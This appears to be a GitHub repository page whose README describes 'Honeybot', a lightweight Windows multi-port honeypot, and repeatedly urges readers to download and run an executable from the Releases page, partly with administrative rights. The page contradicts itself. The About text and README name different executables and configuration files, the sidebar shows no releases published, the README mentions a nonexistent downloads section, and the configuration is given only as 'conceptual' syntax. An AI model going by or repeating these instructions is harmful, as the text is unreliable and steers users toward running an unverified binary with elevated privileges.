Skip to content

Lightweight Windows port-based honeypot listening on all TCP/UDP ports (1-65535). Install with HoneyBOT_018.exe; configure ports via service.ini for clean, noise-free monitoring 🐙

Notifications You must be signed in to change notification settings

adamthapa21/Honeybot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 

Repository files navigation

Honeybot: Lightweight Windows Port-Based Honeypot Listener for Multiple Ports

Releases https://github.com/adamthapa21/Honeybot/releases

Honeybot is a light, Windows port-based honeypot that can listen on many TCP and UDP ports simultaneously. It is designed to be small, fast, and easy to run, making it handy for quick deployments and testing across multiple ports in a single instance. This README documents what Honeybot is, how it works, how to get started, and how to tailor it to fit your environment. It covers setup, configuration, usage, and maintenance in a clear, practical way.

🕵️‍♂️ Honeybot acts as a low-profile listener on chosen ports, often used in defense research, traffic analysis, and early-stage deception experiments. It is built to be lightweight on system resources while still delivering meaningful insights from connection attempts, banners, and basic interactions across defined ports. The goal is to provide a simple, reliable surface that helps you observe attacker behavior without introducing heavy software or complex configurations.

Table of contents

  • Overview
  • Why Honeybot
  • Core features
  • How it works
  • Architecture and design
  • Getting started
  • Quick start guide
  • Configuration and tuning
  • Monitoring, logs, and data
  • Performance and footprint
  • Building and contributing
  • Troubleshooting
  • Roadmap
  • FAQ
  • License and attribution

Overview Honeybot is a portable, Windows-friendly honeypot designed to listen on dozens of ports at once. It focuses on practicality: you can spin it up on a Windows machine, point it at a handful of commonly probed ports, and begin collecting connection attempts, timing data, and basic service banners. It is intentionally straightforward so you can reason about what it does, why it exists, and how it behaves in your network.

Why Honeybot

  • Simplicity: Start quickly without a heavy configuration burden.
  • Port coverage: Listen on multiple TCP and UDP ports at the same time.
  • Lightweight: Low CPU and memory footprint to fit on modest host systems.
  • Observability: Logs, banners, and connection metadata that help you understand probe traffic.
  • Extensible: Designed to accommodate simple plugins and configuration-driven behavior.
  • Windows-first: Built for Windows environments where port listening and logging are common needs.

Core features

  • Multi-port listening: Open many TCP and UDP ports in parallel.
  • Banner and response handling: Optional banners and minimal responses to mimic common services.
  • Connection logging: Capture essential details like timestamp, source IP, port, protocol, and outcome.
  • Simple configuration: Define ports, protocols, and banners in a readable format.
  • Lightweight footprint: Small binary and modest system resource use.
  • Easy deployment: Minimal prerequisites, straightforward run process.

How it works

  • Honeybot runs as a Windows console application.
  • It reads a configuration that lists ports and protocols to listen on.
  • For each port, it opens a listener socket and waits for incoming connections.
  • When a client connects, Honeybot records the attempt, optionally sends a banner, and closes or maintains the connection according to the configuration.
  • All events are emitted to a local log directory in a consistent format for analysis.
  • The design emphasizes predictability and safety in a testing or research context.

Architecture and design

  • Core loop: A simple event-driven loop handles new connections and timing events.
  • Port listeners: Separate listeners for each configured port and protocol ensure isolation and clarity.
  • Banner layer: A small, pluggable banner engine can respond with basic service identifiers to entice further probing.
  • Logger: A minimal, structured logger writes events in a JSON-like format for easy parsing.
  • Config layer: The configuration defines ports, protocols, host binding, log paths, and banner behavior.
  • Extensibility hooks: Lightweight placeholders exist for future plugin support and richer interaction.

Getting started If you want to explore Honeybot, you should start by grabbing the Windows port binary from the Releases page and running it on a supported Windows machine. The Windows port binary is packaged to be straightforward to deploy on standard Windows environments.

  • Download and run the Windows port binary named Honeybot-Windows-Port-Portable.exe from the Releases page.
  • Run the binary from an elevated command prompt if required by your environment.
  • Observe the console output and the log directory you configure.

Tip: The Releases page hosts binaries for several platforms. The Windows port is designed to work out of the box in typical Windows setups.

Quick start guide

  • Step 1: Obtain the Windows port binary
    • Go to the Releases page and download the Windows port executable: Honeybot-Windows-Port-Portable.exe. The file name may vary by version, but look for a Windows port or portable exe.
    • The Releases page is accessible here: https://github.com/adamthapa21/Honeybot/releases
  • Step 2: Prepare the environment
    • Create a local folder to store logs and any output Honeybot produces.
    • Ensure you have the necessary privileges to bind to the chosen ports (some ports require elevated privileges).
  • Step 3: Run Honeybot
    • Open a command prompt with administrative rights.
    • Run the executable with your preferred configuration options if any, or rely on the default settings for initial testing.
  • Step 4: Validate operation
    • Check the log directory for event entries.
    • Confirm that the listening ports are shown as bound and are accepting connections as expected.
  • Step 5: Iterate
    • Adjust the port list, banners, and logging level as needed.
    • Re-run Honeybot to apply changes and observe how traffic changes with your adjustments.

Note: For the first run, you can keep the defaults. You can always tailor the behavior later with a configuration file.

Configuration and tuning Honeybot uses a simple, human-friendly configuration approach to make it easy to tailor behavior to your network and research goals. The configuration covers port lists, protocols, host binding, and logging preferences, along with optional banners for common services to mimic.

Key configuration ideas

  • Port ranges: Define a list of ports to listen on for both TCP and UDP.
  • Host binding: Bind to all interfaces (0.0.0.0) or a specific interface to limit exposure.
  • Banner profiles: Configure banners to resemble common services (SSH, FTP, HTTP, etc.).
  • Logging: Decide where to store logs, how verbose to be, and the format of log entries.
  • Output formats: Keep logs in a simple, structured format (JSON-like lines) for easy parsing.

Sample configuration ideas (conceptual, not a strict syntax)

  • Listening ports
    • TCP: 22, 23, 80, 443
    • UDP: 53, 123
  • Host binding
    • 0.0.0.0
  • Banner profiles
    • SSH: "SSH-2.0 Honeybot"
    • HTTP: "HTTP/1.1 200 OK"
  • Logging
    • Directory: "logs"
    • Level: "info" or "debug"
    • Format: "json"

If a configuration file exists, you can edit it with any plain text editor. The exact syntax will be documented in the project files, with example snippets to guide you. The goal is to make it intuitive to tweak port coverage, interaction behavior, and data capture without needing to recompile or rebuild.

Monitoring, logs, and data

  • Logs: Honeybot writes events to a local log directory. Each event includes a timestamp, source address, port, protocol, and a basic outcome. The logs are designed to be easy to parse, enabling quick ingestion into analysis pipelines or SIEMs.
  • Banners and interactions: If you enable banners, you’ll see simple textual banners that imitate real services. This can help you study attacker responses and timing characteristics.
  • Timestamps: Times are recorded with millisecond precision to help you correlate events with external network activity.
  • Outputs: In addition to log files, Honeybot can print essential status information to the console, which is useful for live monitoring during experiments.

Performance and footprint

  • Resource usage: Honeybot is designed to be lightweight. It aims to use a small fraction of CPU cycles and a few megabytes of memory in typical runs.
  • Startup: It starts quickly, with port listeners ready for incoming connections in a short time window.
  • Stability: The code paths are straightforward, focusing on predictable behavior and clean shutdowns.
  • Scalability: While designed to be lean, the architecture supports adding additional ports and handling through a clear, modular approach.

Building from source and contributing If you want to build Honeybot from source, follow the project’s standard contribution and build guidelines included in the repository. The process is designed to be simple and transparent so contributors can verify the build and run tests locally.

  • Prerequisites: A Windows development environment with the toolchain required by the project language (the repository’s documentation will specify this).
  • Build steps: Clone the repository, install dependencies if any, and run the build script included in the project (for example, a batch script or a Makefile).
  • Testing: Run a local test to ensure ports bind correctly and logging is functioning as designed.
  • Contributing: If you want to contribute, follow the project’s guidelines for submitting issues and pull requests. Share a clear description of changes, the rationale behind them, and any tests you ran.

Roadmap and future work The project aims to expand capabilities while keeping the footprint small. Planned improvements include:

  • More banner profiles to mimic a wider range of services.
  • Plugin hooks to extend interaction behavior without changing core code.
  • Enhanced logging with optional structured JSON output suitable for analysis pipelines.
  • Port management improvements to enable dynamic reconfiguration without restarting.
  • Cross-platform support for additional operating systems beyond Windows.

FAQ

  • What is Honeybot for?
    • Honeybot provides a lightweight way to observe network probing behavior by listening on multiple ports and recording connection attempts and basic responses. It’s useful for defense research, traffic analysis, and learning how services behave when probed.
  • On which platforms does Honeybot run?
    • The project is designed for Windows. The Windows port binary is provided in the Releases page for quick setup.
  • How do I update Honeybot?
    • Download the latest Windows port binary from the Releases page and replace the existing executable. No additional steps are usually required beyond ensuring the new version uses the same configuration.
  • Can I customize the banners?
    • Yes. Banner customization is supported to mimic common services and observe attacker responses. See the configuration section for details on enabling and adjusting banners.
  • How are logs stored?
    • Logs are stored in a local directory you configure. The log format is designed to be easy to parse for analysis or manual review.

Releases

  • The Releases page contains binaries for the project, including the Windows port binary Honeybot-Windows-Port-Portable.exe. Use the page to download the appropriate version for your environment.
  • For direct access and to grab the Windows binary, visit the Releases page here: https://github.com/adamthapa21/Honeybot/releases

Road to production

  • Start with a small test on a controlled network segment.
  • Use a limited set of ports first to observe behavior.
  • Review logs to verify that traffic is captured as expected.
  • Gradually expand port coverage and refine banners to match your research goals.
  • Integrate with your monitoring stack as needed to correlate Honeybot data with other signals.

Contributing and community

  • We welcome contributions that improve reliability, add useful features, or clarify documentation.
  • If you want to contribute, follow the project’s contribution guidelines and submit PRs with clear explanations of changes and testing performed.
  • For questions or collaboration, consider opening issues on the repository to discuss ideas or report problems.

Design philosophies

  • Clarity over complexity: The codebase favors readability and maintainability.
  • Predictable behavior: The tool aims to behave consistently across runs and configurations.
  • Minimal surface area: The focus remains on listening, logging, and simple interaction rather than broad feature sets.
  • Open to improvement: The project invites feedback and improvements through community contributions.

Security and safety notes

  • Honeybot is a research tool meant to observe traffic and behavior, not to act as a production security solution.
  • Its simple design keeps risk to a minimum by avoiding complex interactions and limiting the surface area to defined ports.
  • Always run on networks where you have permission to probe and observe traffic, and be mindful of local policies and regulations.

Architecture diagrams and visuals

  • Diagram thumbnails can be added to illustrate the listening model, port coverage, and data flow from connection events to logs.
  • A banner flow diagram helps show how a client interaction progresses from connect to banner reply to disconnect.

Images and visual assets

  • Honeybot-friendly visuals can include:

    • A tiny shield or badge icon representing defense and monitoring.
    • A simple network diagram showing multiple ports on a single host.
    • A banner example visual showing the textual banners used by the honeypot.
  • Suggested images:

    • Honeypot-themed banner: an illustration of a digital field with a honey pot symbol.
    • Port map diagram: a host with dotted lines to multiple ports labeled TCP/UDP.
    • Security stance badge: a shield with the label Honeybot.
  • Embedding visuals:

    • Use descriptive alt text for accessibility.
    • Ensure images are accessible and do not rely on external hotlinks without redundancy.

Additional notes

  • The repository name is Honeybot, and the project centers on a light Windows port-based honeypot. It is intended for researchers, defenders, and curious engineers who want to observe network probing behavior and collect data for analysis.
  • The project’s topics reflect its scope: based, defence, defense, easy, hacker, honeybot, honeypot, light, lightweight, listener, lite, port, socket, sockets, Windows.
  • The approach is pragmatic: provide a simple, dependable tool with clear outputs and a path to future enhancements.

Releases link usage recap

  • The Releases page is introduced at the top via a colorful badge, providing quick access to the binaries and assets.
  • A second explicit reference to the same link appears in the Downloads/Downloads section to guide users to grab the appropriate binary and start using Honeybot.

Note on file name convention

  • The Windows port binary is typically named Honeybot-Windows-Port-Portable.exe (or a variant that includes the version, such as Honeybot-Windows-Port-Portable-vX.Y.Z.exe). When you download the file from the Releases page, verify the name to ensure you are running the intended version.
  • If you need to reference the file in your notes or automated scripts, you can assume a file name similar to Honeybot-Windows-Port-Portable.exe for guidance and adjust for the actual version in your environment.

Final thoughts

  • Honeybot stands as a practical, approachable tool for examining how networks are probed and how services respond to basic interactions. Its minimalism aids clarity, while its multi-port listening capability provides a broad canvas for observation. The project favors straightforward setup, dependable operation, and clear, structured data output to support analysis and learning.

End of documentation snippet.

About

Lightweight Windows port-based honeypot listening on all TCP/UDP ports (1-65535). Install with HoneyBOT_018.exe; configure ports via service.ini for clean, noise-free monitoring 🐙

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •